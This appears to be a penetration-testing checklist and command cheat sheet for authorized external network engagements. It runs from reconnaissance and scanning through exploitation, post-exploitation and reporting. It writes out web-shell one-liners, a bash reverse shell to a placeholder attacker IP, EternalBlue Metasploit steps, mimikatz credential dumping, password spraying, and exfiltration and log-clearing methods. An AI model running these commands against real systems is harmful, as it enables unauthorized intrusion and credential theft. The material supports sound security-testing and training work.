External network penetration test checklist

Phase 1: Reconnaissance & OSINT

Critical Wordlists & Resources

Essential Wordlists

Category	Location	Use Case
General Discovery	`/usr/share/seclists/Discovery/Web-Content/` <br>- `big.txt` <br>- `raft-large-files.txt` <br>- `directory-list-2.3-medium.txt`	Directory/file enumeration
Subdomain Wordlists	`/usr/share/seclists/Discovery/DNS/` <br>- `subdomains-top1million-110000.txt` <br>- `fierce-hostlist.txt`	Subdomain brute forcing
API Endpoints	`/usr/share/seclists/Discovery/Web-Content/` <br>- `api/api-endpoints.txt` <br>- `common-api-endpoints-mazen160.txt`	API discovery
Passwords	`/usr/share/wordlists/rockyou.txt` <br> `/usr/share/seclists/Passwords/` <br>- `Common-Credentials/10-million-password-list-top-1000000.txt` <br>- `darkweb2017-top10000.txt`	Password attacks
Usernames	`/usr/share/seclists/Usernames/` <br>- `top-usernames-shortlist.txt` <br>- `Names/names.txt`	User enumeration
Fuzzing Payloads	`/usr/share/seclists/Fuzzing/` <br>- `SQLi/Generic-SQLi.txt` <br>- `XSS/XSS-Bypass-Strings.txt` <br>- `LFI/LFI-Jhaddix.txt`	Injection testing
Default Credentials	`/usr/share/seclists/Passwords/Default-Credentials/` <br>Custom lists for routers, IoT devices	Default auth bypass

Critical Tool Installation

```
# SecLists (comprehensive wordlists)
git clone <https://github.com/danielmiessler/SecLists.git> /usr/share/seclists

# Nuclei templates (always update)
nuclei -update-templates
git clone <https://github.com/projectdiscovery/nuclei-templates.git>

# PayloadsAllTheThings
git clone <https://github.com/swisskyrepo/PayloadsAllTheThings.git>

# PEASS (privilege escalation scripts)
# LinPEAS
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh>
# WinPEAS
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe>

# Auto Recon
git clone <https://github.com/Tib3rius/AutoRecon.git>

# Impacket (must-have for AD/Windows)
git clone <https://github.com/SecureAuthCorp/impacket.git>
cd impacket && pip3 install .

# BloodHound
pip3 install bloodhound
```

```
sudo apt install neo4j bloodhound

# CrackMapExec
apt install crackmapexec
# or: pipx install crackmapexec

# Additional reconnaissance tools
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/tomnomnom/gf@latest
go install -v github.com/lc/gau/v2/cmd/gau@latest
go install -v github.com/ffuf/ffuf@latest

# Web application tools
pip3 install sqlmap
apt install wfuzz nikto dirb gobuster
```

Payload Repositories

Repository	URL	Purpose
PayloadsAllTheThings	github.com/swisskyrepo/PayloadsAllTheThings	Comprehensive payload collection
SecLists	github.com/danielmiessler/SecLists	Wordlists for everything
FuzzDB	github.com/fuzzdb-project/fuzzdb	Attack patterns database
Auto Wordlists	github.com/carlospolop/Auto_Wordlists	Context-based wordlists
Probable Wordlists	github.com/berzerk0/Probable-Wordlists	Probability-ordered passwords

Pre-Engagement Checklist

Before Starting the Test

Legal & Authorization:

□ Signed Rules of Engagement (RoE) obtained

□ Scope of testing clearly defined in writing

□ IP ranges/domains explicitly listed

□ Out-of-scope items documented

□ Emergency contact information obtained

□ Legal authorization letter in hand

□ Third-party authorization (if testing shared infrastructure)

□ Testing windows/time restrictions documented

□ Data handling and NDA agreements signed

Technical Preparation:

□ Testing environment set up (Kali Linux / ParrotOS)

□ VPN/secure connection to client network established (if required)

□ All tools updated to latest versions

□ Wordlists downloaded and organized

□ Backup systems in place for notes/findings

□ Screenshot/evidence collection process established

□ Secure communication channel with client confirmed

□ Backup communication method established

□ Testing methodology documented

□ Success criteria defined with client

Operational Security:

□ Using authorized IP addresses only

□ Traffic logging/IDS notification process agreed

□ De-confliction process established (if multiple testers)

□ Incident response procedure documented

□ Data encryption for findings/evidence

□ Secure storage for captured credentials

□ Clean test environment (no prior engagement data)

Communication Plan:

□ Daily status update schedule agreed

□ Critical finding reporting process (immediate notification)

□ Final report delivery date confirmed

□ Presentation/debrief meeting scheduled

□ Point of contact for technical questions identified

□ Escalation path for unexpected issues

External Network Penetration Testing Cheatsheet

A comprehensive technical guide for authorized penetration testing engagements.

Phase 1: Reconnaissance & OSINT

Passive Information Gathering

Task	Tools & Commands	Notes
Subdomain Enumeration	`subfinder -d target.com -o subdomains.txt` <br> `amass enum -d target.com -o amass_subs.txt` <br> `assetfinder --subs-only target.com`	Combine results and deduplicate
DNS Reconnaissance	`dnsrecon -d target.com -t std` <br> `dnsenum target.com` <br> `dig any target.com`	Look for zone transfers, NS, MX, TXT records
WHOIS & Registration Data	`whois target.com` <br> `whois <IP_ADDRESS>`	Identify registrant, nameservers, IP blocks
Public Certificate Transparency	`curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq` <br>Visit: crt.sh, censys.io	Discover additional subdomains

Task	Tools & Commands	Notes
Search Engine Dorking	`site:target.com filetype:pdf` <br> `site:target.com inurl:admin` <br> `intitle:"index of" site:target.com`	Use Google, Bing, Shodan
Shodan/Censys Queries	`shodan search "org:Target Company"` <br> `shodan host <IP_ADDRESS>`	Identify exposed services and devices
GitHub/Code Repository Search	`truffleHog --regex --entropy=True <REPO_URL>` <br>GitHub search: `org:target password`	Look for leaked credentials, API keys
Email Harvesting	`theHarvester -d target.com -b all` <br> `hunter.io` queries	Build user lists for password spraying
Technology Fingerprinting	`whatweb target.com` <br> `wappalyzer` browser extension<br> `builtwith.com`	Identify web technologies, frameworks

Checklist:

- □ Enumerate all subdomains using multiple tools
- □ Perform DNS reconnaissance and check for zone transfers
- □ Query WHOIS for IP ranges and ownership information
- □ Search certificate transparency logs
- □ Conduct targeted Google dorking
- □ Check Shodan/Censys for exposed assets
- □ Search GitHub and code repositories for leaks
- □ Harvest email addresses for social engineering/auth testing
- □ Fingerprint technologies in use

Phase 2: Scanning & Enumeration

Active Network Discovery

Task	Tools & Commands	Notes
Host Discovery	`nmap -sn -PE -PP -PS80,443 -PA3389 <TARGET_RANGE>` <br> `masscan -p0-65535 <TARGET_RANGE> --rate=10000`	Identify live hosts
Port Scanning (Comprehensive)	`nmap -p- -T4 --min-rate=1000 <TARGET>` <br> `nmap -sS -sU -p- <TARGET>` (requires root)	Scan all TCP/UDP ports
Service Version Detection	`nmap -sV -sC -p <PORTS> <TARGET>` <br> `nmap -A -p <PORTS> <TARGET>`	Banner grabbing, default scripts
OS Fingerprinting	`nmap -O <TARGET>` <br> `xprobe2 <TARGET>`	Identify operating systems
SSL/TLS Enumeration	`nmap --script ssl-enum-ciphers -p 443 <TARGET>` <br> `sslscan <TARGET>:443` <br> `testssl.sh <TARGET>`	Check cipher suites, vulnerabilities
SMB Enumeration	`nmap --script smb-enum-shares,smb-enum-users -p 445 <TARGET>` <br> `enum4linux -a <TARGET>` <br> `smbclient -L //<TARGET>/ -N`	Enumerate shares, users, policies
SMTP Enumeration	`nmap --script smtp-enum-users -p 25 <TARGET>` <br> `smtp-user-enum -M VRFY -U users.txt -t <TARGET>`	Enumerate valid email accounts
SNMP Enumeration	`snmp-check <TARGET>` <br> `onesixtyone -c community.txt <TARGET>` <br> `snmpwalk -v2c -c public <TARGET>`	Check for default communities
Web Service Discovery	`nikto -h http://<TARGET>` <br> `gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt` <br> `ffuf -u http://<TARGET>/FUZZ -w wordlist.txt`	Directory bruteforcing

Task	Tools & Commands	Notes
DNS Zone Transfer Test	`dig axfr @<DNS_SERVER> target.com` <br> `host -t axfr target.com <DNS_SERVER>`	Test for misconfigured DNS
VPN/Network Device Detection	`ike-scan <TARGET>` <br> `nmap --script ike-version -sU -p 500 <TARGET>`	Identify VPN endpoints

Checklist:

- □ Discover all live hosts in target range
- □ Perform comprehensive port scanning (TCP/UDP)
- □ Enumerate service versions and banners
- □ Fingerprint operating systems
- □ Test SSL/TLS configurations for weaknesses
- □ Enumerate SMB shares and users (if applicable)
- □ Test for SMTP user enumeration
- □ Check SNMP with common community strings
- □ Perform web directory/file discovery
- □ Test for DNS zone transfers
- □ Identify VPN endpoints and versions

Phase 3: Vulnerability Analysis

Automated & Manual Vulnerability Assessment

Task	Tools & Commands	Notes
Automated Vulnerability Scanning	`nmap --script vuln -p <PORTS> <TARGET>` <br> `nuclei -u http://<TARGET> -t ~/nuclei-templates/` <br> `openvas` (web-based)	Use caution with aggressive checks
Web Application Scanning	`nikto -h http://<TARGET>` <br> `wapiti -u http://<TARGET>` <br> `zaproxy` (OWASP ZAP GUI/CLI)	Check for common web vulnerabilities
SSL/TLS Vulnerability Testing	`testssl.sh --vulnerable <TARGET>:443` <br> `nmap --script ssl-heartbleed,ssl-poodle -p 443 <TARGET>`	Test for Heartbleed, POODLE, etc.
SMB Vulnerability Checks	`nmap --script smb-vuln* -p 445 <TARGET>` <br>Check for: EternalBlue (MS17-010), MS08-067	Critical RCE vulnerabilities
SQL Injection Testing	`sqlmap -u "http://<TARGET>/page?id=1" --batch` <br> `sqlmap -r request.txt --level=5 --risk=3`	Test GET/POST parameters
Authentication Testing	`hydra -L users.txt -P passwords.txt <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"` <br> `medusa -h <TARGET> -U users.txt -P passwords.txt -M ssh`	Password spraying/bruteforce
Default Credentials Check	`nmap --script http-default-accounts -p 80,443 <TARGET>` <br>Manual: Try admin/admin, admin/password	Check vendor documentation
CVE-Specific Scanning	`searchsploit <SERVICE_NAME VERSION>` <br> `msfconsole` → `search <SERVICE>` <br> `nmap --script <CVE-SCRIPT> <TARGET>`	Match versions to known CVEs
API Security Testing	`ffuf -u http://<TARGET>/api/v1/FUZZ -w api-endpoints.txt` <br> `arjun -u http://<TARGET>/api/endpoint` <br>Postman/Burp Suite	Test for IDOR, broken auth, injection
File Upload Testing	Upload: webshell.php, .php.jpg, .phtml<br> `burpsuite` intruder for bypass techniques	Test upload restrictions

Task	Tools & Commands	Notes
Directory Traversal	`wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt --hc 404 http://<TARGET>/download?file=FUZZ`	Test path traversal vulnerabilities

Checklist:

- ☐ Run automated vulnerability scanners (Nmap NSE, Nuclei)
- ☐ Perform web application vulnerability assessment
- ☐ Test SSL/TLS for known vulnerabilities
- ☐ Check for SMB vulnerabilities (EternalBlue, etc.)
- ☐ Test all input fields for SQL injection
- ☐ Attempt authentication attacks (password spray, default creds)
- ☐ Search for applicable CVEs based on versions
- ☐ Test API endpoints for security issues
- ☐ Test file upload functionality for bypass
- ☐ Check for directory traversal vulnerabilities
- ☐ Review for information disclosure issues

Phase 4: Exploitation

Gaining Initial Access

Task	Tools & Commands	Notes
Exploit Database Search	`searchsploit <SERVICE> <VERSION>` <br> `exploit-db.com` search<br> `packetstormsecurity.com`	Find public exploits
Metasploit Framework	`msfconsole` <br> `search <SERVICE>` <br> `use exploit/<PATH>` <br> `set RHOSTS <TARGET>` <br> `set PAYLOAD <PAYLOAD>` <br> `exploit`	Organized exploit library
Web Shell Upload	PHP: `<?php system($_GET['cmd']); ?>` <br>ASP: `<% eval request("cmd") %>` <br>JSP: Custom web shell	Upload via vulnerable forms
SQL Injection to RCE	`sqlmap -u <URL> --os-shell` <br> `sqlmap -u <URL> --file-read=/etc/passwd` <br>Manual: `xp_cmdshell` (MSSQL)	Leverage SQLi for command execution
Remote Code Execution	`python3 exploit.py <TARGET> <PORT>` <br>Custom exploits from GitHub/ExploitDB	Compile/modify as needed
Password Cracking	`hashcat -m <HASH_TYPE> hashes.txt wordlist.txt` <br> `john --wordlist=rockyou.txt hashes.txt` <br> `john --format=<FORMAT> hashes.txt`	Crack captured hashes
Credential Stuffing	`hydra -L users.txt -P breached_passwords.txt <TARGET> ssh` <br>Use breached credential databases	Test reused passwords
Phishing (If in Scope)	`gophish` framework<br>Custom phishing pages<br> `setoolkit` (Social Engineering Toolkit)	Requires explicit authorization
SMB EternalBlue Exploit	`msfconsole` <br> `use exploit/windows/smb/ms17_010_eternalblue` <br> `set RHOSTS <TARGET>` <br> `exploit`	Windows SMB RCE
Reverse Shell Establishment	`nc -lvnp 4444` (listener)<br>Victim: `bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1` <br>Windows: `powershell -c <ENCODED_COMMAND>`	Various payload types

Checklist:

- ☐ Search for applicable exploits for identified vulnerabilities
- ☐ Configure and test exploits in Metasploit

- ☐ Attempt web shell upload on vulnerable applications
- ☐ Leverage SQL injection for code execution
- ☐ Execute custom/public RCE exploits
- ☐ Crack captured password hashes
- ☐ Test credential stuffing with known breaches
- ☐ Execute social engineering attacks (if authorized)
- ☐ Exploit SMB vulnerabilities (EternalBlue, etc.)
- ☐ Establish stable reverse shell/C2 connection
- ☐ Document all successful exploitation attempts

Phase 5: Post-Exploitation & Reporting

Privilege Escalation & Lateral Movement

Task	Tools & Commands	Notes
Linux Privilege Escalation	`linpeas.sh` <br> `sudo -l` <br> `find / -perm -4000 2>/dev/null` (SUID)<br> `cat /etc/crontab` <br>Kernel exploits	Check for misconfigurations
Windows Privilege Escalation	`winPEAS.exe` <br> `whoami /priv` <br> `icacls <FILE>` <br> `PowerUp.ps1` (PowerSploit)<br>Check services: `sc qc <SERVICE>`	Look for weak permissions
Credential Dumping (Windows)	`mimikatz.exe` <br> `privilege::debug` <br> `sekurlsa::logonpasswords` <br> `hashdump` <br> `secretsdump.py <DOMAIN>/<USER>@<TARGET>`	Requires admin/SYSTEM
Lateral Movement	`psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>` <br> `wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>` <br> `crackmapexec smb <RANGE> -u <USER> -p <PASSWORD>`	Spread to other systems
Persistence Mechanisms	Windows: Scheduled tasks, registry keys, services<br>Linux: Cron jobs, SSH keys, .bashrc<br> `msfvenom` backdoors	**Only if explicitly authorized**
Network Pivoting	`meterpreter> run autoroute -s <SUBNET>` <br> `proxychains` + SOCKS proxy<br> `chisel` for port forwarding	Access internal networks
Data Exfiltration	`scp` , `ftp` , `http upload` <br> `base64` encoding<br> `dns exfiltration`	**Only exfil test data**
Evidence Collection	Screenshot tools<br> `ifconfig` , `ipconfig /all` <br> `cat /etc/shadow` <br> `reg query` commands	Document access achieved
Clean Up	Remove uploaded files/tools<br>Clear logs (if part of test scope)<br>Document all artifacts	Maintain stealth or restore

Checklist:

- ☐ Enumerate privilege escalation vectors
- ☐ Execute privilege escalation to admin/root
- ☐ Dump credentials from compromised systems
- ☐ Attempt lateral movement to other hosts
- ☐ Establish persistence (if authorized)
- ☐ Pivot to internal network segments
- ☐ Test data exfiltration capabilities (with test data only)
- ☐ Collect evidence and screenshots

□ Document all compromised systems and data accessed

□ Clean up artifacts and tools

□ Verify all activities logged for reporting

Reporting Phase

Documentation & Deliverables

Component	Description	Best Practices
Executive Summary	High-level overview for management	Focus on business risk, severity ratings
Methodology	Phases, tools, approach used	Reference standards (PTES, OWASP, NIST)
Scope Definition	IP ranges, domains, systems tested	Include what was explicitly excluded
Findings	Each vulnerability with severity rating	Use CVSS scores, include evidence
Risk Rating	Critical, High, Medium, Low, Info	Base on exploitability + impact
Proof of Concept	Screenshots, command outputs, exploitation steps	Redact sensitive data appropriately
Remediation Recommendations	Specific, actionable guidance per finding	Prioritize by risk, include timelines
Appendices	Full scan outputs, tool configurations, CVE references	Supporting technical details

Report Checklist:

□ Complete executive summary written

□ Methodology section documented

□ Scope clearly defined with inclusions/exclusions

□ All findings documented with severity ratings

□ Evidence (screenshots, logs) included for each finding

□ Remediation recommendations provided

□ Technical appendices attached

□ Report reviewed for accuracy and clarity

□ Sensitive information properly redacted

□ Deliver to authorized stakeholders only

Essential Tool Reference

Quick Command Reference

```
# Subdomain enumeration pipeline
subfinder -d target.com | httpx -silent | nuclei -t ~/nuclei-templates/

# Full TCP port scan
nmap -p- --min-rate=1000 -oA full_scan <TARGET>

# Service enumeration
nmap -sV -sC -p $(cat full_scan.nmap | grep open | cut -d'/' -f1 | tr '\n' ',') <TARGET>
```

```
# Web fuzzing
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -mc 200,301,302,403

# Password spraying (careful!)
crackmapexec smb <TARGET> -u users.txt -p 'Winter2024!' --continue-on-success

# Quick SQL injection test
sqlmap -u "http://<TARGET>/page?id=1" --batch --level=1 --risk=1

# Reverse shell listener
rlwrap nc -lvnp 4444
```